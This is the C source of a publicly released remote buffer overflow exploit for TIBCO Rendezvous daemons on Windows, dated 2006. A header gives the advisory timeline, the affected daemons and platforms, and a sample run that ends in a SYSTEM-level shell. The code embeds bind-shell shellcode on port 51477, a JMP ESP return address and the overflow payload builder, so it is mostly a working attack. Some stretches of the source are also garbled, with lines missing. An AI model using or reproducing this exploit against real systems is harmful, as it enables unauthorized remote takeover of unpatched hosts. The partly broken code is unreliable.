/* Exploit: TIBCO RendezVous remote buffer overflow exploit for Win32 (public version) Affected products: Tibco RendezOVous version <=7.4.11 (Multiple Vulnerabilities) Author: Andres Tarasco Acuña (atarasco @ sia.es ) Advisory: http://www.514.es Url: http://www.sia.es Greetings: Iñaki Lopez and SIA TigerTeam Status: vulnerability fixed ( Vendor notification + fixes) Timeline: ---------------- Discovered: March 23, 2006 Exploit coded: March 24, 2006 Vendor Notified: March 27, 2006 Vendor patch: May 15, 2006 - Tibco Rendezvous version 7.5 Public Disclosure: who knows Affected daemons: ----------------------- - TIB/Rendezvous Routing Communications Daemon (add router buffer overflow) (port 7580) + POST /add_router HTTP/1.0 + router_name=AAAA..AAA&type=+Add+Router+ - TIB/Rendezvous Secure Daemon (port 7580) + POST /sd_add_network_service HTTP/1.0 + network=AAAA..AAAA&service=&type=Add - TIB/Rendezvous Secure Daemon (port 7580) + certificate_from_file() lets remote user verify if remote file exists - TIB/Rendezvous Secure Daemon (port 7580) + Authorized Subjects XSS vulnerability - TIB/Rendezvous Secure Routing Daemon (add router buffer overflow) (port 7580) + POST /add_router HTTP/1.0 + router_name=AAAA..AAA&type=+Add+Router+ - TIB/Rendezvous Agent for Java (TIB/Rendezvous Daemon Connection Buffer overflow) (port 7581) + POST /set_main HTTP/1.0 + edit_listen=7600&edit_service=AAAA..AAAA&edit_network=&edit_daemon=&submit=Submit - TIB/Rendezvous Initial Value Cache (port 7581) + POST /change_services HTTP/1.0 + Service=&Network=&Daemon=AAA&request_type=Submit Affected Operating systems: ------------------------------- - AIX 5.1 and up RS/6000 - FreeBSD 4.2 and up x86 - HP/UX 11.X HPPA - HP/UX 11.22 and up IA-64/Itanium - Linux 2.4 kernel: 2.4.20 and up, glibc2.2.4 and up x86 - Linux 2.4 kernel: 2.4.20 and up, glibc2.3 and up (includes 2.6 kernel) x86 - Linux 2.4 kernel: 2.4.18 and up, glibc2.3 and up IA-64/Itanium - OS/390 V2R6+ USS S/390 compatible OEM hardware - OS/400 V4R3+ AS/400 - Solaris 2.7 and up Sparc - Solaris 2.7, 8, 9 (32-bit only) x86 - Solaris 2.10 (32- and 64-bit only) x86 - Tru64 Unix 5.1b Alpha - UnixWare 7.1 and up x86 - VMS 7.2 and up - Alpha - Windows 2000/XP/2003 Server [MSVC V6.0 and V7.0] x86 Usage: ------- D:\Programación\tibco>net start rvrd El servicio de TIB/Rendezvous Routing Communications Daemon está iniciándose. El servicio de TIB/Rendezvous Routing Communications Daemon se ha iniciado con éxito. D:\Programación\tibco>whoami REDBULL\atarasco D:\Programación\tibco>tibco.exe -e 192.168.0.1 Tibco RendezVous rvrd, rvsrd remote exploit Author: Andres Tarasco ( atarasco @ sia.es) Url: http://www.514.es [+] Connection to Tibco HTTP Daemon.. [+] Daemon Found: rvrd - version: 7.4.11 [+] Connecting to Tibco SSL Service at port 9003 [+] Sending Exploit ( 546 bytes) [+] Ignoring unknown CA... [+] Sending Exploit ( 546 bytes) [+] Exploit succesfully sent. Now telnet to port 51477 D:\Programación\tibco>nc localhost 51477 Microsoft Windows XP [Versión 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. C:\>whoami whoami NT AUTHORITY\SYSTEM C:\> */ struct _targets { char *daemon; char *name; char *version; char *target; char *header; char *tail; } TARGETS[] = { //supported versions { "rvrd","Routing Communications Daemon","Generic win32","/add_router","router_name=","&type=+Add+Router+"}, { "rvsrd","Routing Communications Daemon","Generic win32","/add_router","router_name=","&type=+Add+Router+"}, { "rvsd","Secure Daemon","Generic win32","/sd_add_network_service","network=","&service=&type="}, { "rva","Agent for Java","Generic win32","/set_main","edit_listen=7600&edit_service=","&edit_network=&edit_daemon=&submit=Submit"}, { "rvcache","Initial Value Cache","Generic win32","/change_services","Service=&Network=&Daemon=","&request_type=Submit"}, /* more versions here.... */ }; #include #include #include #include #include #pragma comment(lib, "ws2_32.lib") #pragma comment(lib, "wininet.lib") unsigned char CALLESP[] ="\xed\x1e\x95\x7c"; //JMP ESP at ntdll.dll typedef struct _HTTPData { unsigned char *buffer; DWORD dwReturnCode; DWORD dwBytesRead; unsigned int DataOffset; } HTTPData, *PHTTPData; unsigned char jmpBack []= //JMP EBP -500 without nulls "\x81\xec\xff\xff\xf4\x01" "\x81\xc4\x0b\xfe\xf4\x01" "\xff\xe4"; unsigned char shellcode[] = /* win32_bind - EXITFUNC=seh LPORT=51477 Size=346 Encoder=PexFnstenvSub http://metasploit.com */ //Restricted chars: 0x00 0x06 0x07 0x08 0x0a 0x0d 0x20 0x22 0x28 0x29 0x30 0x5c 0xcd 0xf2 "\x33\xc9\x66\x81\xe9\xb0\xff\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73" "\x13\x90\x90\x47\x87\x83\xeb\xfc\xe2\xf4\x6c\xfa\xac\xca\x78\x69" "\xb8\x78\x6f\xf0\xcc\xeb\xb4\xb4\xcc\xc2\xac\x1b\x3b\x82\xe8\x91" "\xa8\x0c\xdf\x88\xcc\xd8\xb0\x91\xac\xce\x1b\xa4\xcc\x86\x7e\xa1" "\x87\x1e\x3c\x14\x87\xf3\x97\x51\x8d\x8a\x91\x52\xac\x73\xab\xc4" "\x63\xaf\xe5\x75\xcc\xd8\xb4\x91\xac\xe1\x1b\x9c\x0c\x0c\xcf\x8c" "\x46\x6c\x93\xbc\xcc\x0e\xfc\xb4\x5b\xe6\x53\xa1\x9c\xe3\x1b\xd3" "\x77\x0c\xd0\x9c\xcc\xf7\x8c\x3d\xcc\xc7\x98\xce\x2f\x09\xde\x9e" "\xab\xd7\x6f\x46\x21\xd4\xf6\xf8\x74\xb5\xf8\xe7\x34\xb5\xcf\xc4" "\xb8\x57\xf8\x5b\xaa\x7b\xab\xc0\xb8\x51\xcf\x19\xa2\xe1\x11\x7d" "\x4f\x85\xc5\xfa\x45\x78\x40\xf8\x9e\x8e\x65\x3d\x10\x78\x46\xc3" "\x14\xd4\xc3\xc3\x04\xd4\xd3\xc3\xb8\x57\xf6\xf8\x8e\x92\xf6\xc3" "\xce\x66\x05\xf8\xe3\x9d\xe0\x57\x10\x78\x46\xfa\x57\xd6\xc5\x6f" "\x97\xef\x34\x3d\x69\x6e\xc7\x6f\x91\xd4\xc5\x6f\x97\xef\x75\xd9" "\xc1\xce\xc7\x6f\x91\xd7\xc4\xc4\x12\x78\x40\x03\x2f\x60\xe9\x56" "\x3e\xd0\x6f\x46\x12\x78\x40\xf6\x2d\xe3\xf6\xf8\x24\xea\x19\x75" "\x2d\xd7\xc9\xb9\x8b\x0e\x77\xfa\x03\x0e\x72\xa1\x87\x74\x3a\x6e" "\x05\xaa\x6e\xd2\x6b\x14\x1d\xea\x7f\x2c\x3b\x3b\x2f\xf5\x6e\x23" "\x51\x78\xe5\xd4\xb8\x51\xcb\xc7\x15\xd6\xc1\xc1\x2d\x86\xc1\xc1" "\x12\xd6\x6f\x40\x2f\x2a\x49\x95\x89\xd4\x6f\x46\x2d\x78\x6f\xa7" "\xb8\x57\x1b\xc7\xbb\x04\x54\xf4\xb8\x51\xc2\x6f\x97\xef\x60\x1a" "\x43\xd8\xc3\x6f\x91\x78\x40\x90\x47\x87"; PHTTPData MakeHTTPRequest(char *host, DWORD port, char *metod,char *Url,int ssl, char *buffer); int GetSSLPort(char *buffer); void DumpMem(void* string, int length); /******************************************************************************/ int GetSSLPort(char *buffer) { char *p,*q; p=strstr(buffer,"https://"); if (p) { q=strchr(&p[8],':'); if (q) { p=strchr(q,'/'); if (p) { p[0]='\0';return(atoi(q+1)); } } } return(-1); } /******************************************************************************/ int GetTibcoDaemon(char *buffer, char *daemon) { char *p; char *q; char name[15]; int i; static char SEPARADOR[]="color=\"#242424\">"; //"242424"; p=strstr(buffer,SEPARADOR); if (p) { p=p+strlen(SEPARADOR)+1; while(p[0]==' ') p++; q=strchr(&p[0],'<'); if (q) { q[0]='\0'; printf("[+] Daemon Found: %s - ",p); strncpy(name,p,14); q=q+6; while(q[0]==' ') q++; p=strchr(&q[0],'<'); if (p) { p[0]='\0'; printf("version: %s\n",q); } for(i=0;idwReturnCode = (DWORD)atol(bufQuery) ; // printf("HEADER RESPONSE: %i \n",resultado->dwReturnCode); dwLengthBufQuery=sizeof(bufQuery); bQuery= HttpQueryInfo(hRequest, //petición de tamaño de la petición. HTTP_QUERY_CONTENT_LENGTH, bufQuery, &dwLengthBufQuery, NULL); dwFileSize = (DWORD)atol(bufQuery) ; // printf("Vamos a leer %i bytes de datos\n",dwFileSize); resultado->dwBytesRead=dwFileSize; if (dwFileSize==0) { resultado->buffer=NULL; InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hInternetSession); return(resultado); } resultado->buffer= malloc(dwFileSize+1); bRead = InternetReadFile(hRequest, resultado->buffer, dwFileSize, &dwReadedBytes); resultado->buffer[resultado->dwBytesRead] = '\0' ; InternetCloseHandle(hRequest); InternetCloseHandle(hConnect); InternetCloseHandle(hInternetSession); return(resultado); } /****************************************************************************/ void usage(void) { printf("Tibco.exe usage: -e parameters\n\n"); printf("Tibco.exe -e host (buffer overflow)\n"); exit(1); } /****************************************************************************/ int main(int argc, char* argv[]) { DWORD size,i,read,port=7580; unsigned char *buffer,datos[5000]; HANDLE f; WSADATA wsaData; HTTPData *resultado; unsigned short bindport; signed int test; int dst; int t[0xff+1]; printf("Tibco RendezVous rvrd, rvsrd remote exploit\n"); printf("Author: Andres Tarasco ( atarasco @ sia.es)\n"); printf("Url: http://www.514.es\n\n"); if (argc==3) { if (argv[1][0]=='-') { if (argv[1][1]!='e') { usage(); } } } else { usage(); } WSAStartup(MAKEWORD(2, 2), &wsaData); printf("[+] Connection to Tibco HTTP Daemon..\n"); resultado= MakeHTTPRequest(argv[2], port, "GET","/ ",0, NULL); if (resultado->dwReturnCode!=200) { printf("[-] Request Error (ErrorCode: %i)\n",resultado->dwReturnCode); exit(1); } dst=GetTibcoDaemon(resultado->buffer,NULL); //Get Version //m/"#242424">(.*?)
.*?(.*?)
/ if (dst==-1) { printf("[-] Unknown Tibco Daemon (No donut for you)\n"); exit(1); } //BLINK! BLINK! BLINK! resultado= MakeHTTPRequest(argv[2], port, "GET","/daemon_parameters",0, NULL); port=GetSSLPort(resultado->buffer); if (!port) { printf("[-] Unable to gather SSL port\n"); exit(1); } printf("[+] Connecting to Tibco SSL Service at port %i\n",port); if ((dst==0) || (dst==1) ) { memset(datos,'\0',sizeof(datos)-1); memcpy(datos,TARGETS[dst].header,strlen(TARGETS[dst].header)); memset(&datos[12],'A',498); memcpy(&datos[16],shellcode,sizeof(shellcode)-1); memcpy(&datos[12+498],CALLESP,4); // memcpy(&datos[12+498],"AAAA",4); memcpy(&datos[12+498+4],jmpBack,sizeof(jmpBack)); //Jump back ( EBP -500) memcpy(&datos[12+498+4+sizeof(jmpBack)-1],TARGETS[dst].tail,strlen(TARGETS[dst].tail)); } // DumpMem(datos,strlen(datos)); resultado= MakeHTTPRequest(argv[2], port, "POST","/add_router",1, datos); if (resultado->dwReturnCode==200) { printf("[+] Exploit succesfully sent. Now telnet to port 51477\n"); //printf("resultado: %i\n",resultado->dwReturnCode); //printf("resultado: %i\n",resultado->dwBytesRead); //printf("datos: %s\n",resultado->buffer); //DumpMem(resultado->buffer+300,strlen(resultado->buffer)-300); } else { printf("[-] Exploit Failed\n"); printf("resultado: %i\n",resultado->dwReturnCode); //printf("resultado: %i\n",resultado->dwBytesRead); //printf("datos: %s\n",resultado->buffer); } return(1); } //---------------------------------------------------------------------------